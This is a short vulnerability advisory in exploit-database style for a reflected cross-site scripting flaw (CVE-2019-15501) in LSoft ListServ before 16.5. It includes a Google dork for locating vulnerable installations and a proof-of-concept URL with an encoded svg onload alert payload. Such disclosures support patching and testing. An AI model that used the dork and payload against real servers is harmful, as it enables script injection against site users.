LSoft ListServ Cross Site Scripting

2019.08.27
Credit: MTK
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: LSoft ListServ < 16.5 - Cross-Site Scripting (XSS) # Google Dork: intitle:LISTSERV 16.5 # Date: 08-21-2019 # Exploit Author: MTK (http://mtk911.cf/) # Vendor Homepage: http://www.lsoft.com/ # Softwae Link: http://www.lsoft.com/products/listserv.asp # Version: Older than Ver 16.5-2018a # Tested on: IIS 8.5/10.0 - Firefox/Windows # CVE : CVE-2019-15501 # Software description: The term Listserv has been used to refer to electronic mailing list software applications in general, but is more properly applied to a few early instances of such software, which allows a sender to send one email to the list, and then transparently sends it on to the addresses of the subscribers to the list. # POC 1. http://127.0.0.1/scripts/wa.exe?OK=<PAYLOAD> 2. http://127.0.0.1/scripts/wa.exe?OK=<svg/onload=%26%23097lert%26lpar;'MTK')> # References: 1. http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf 2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15501


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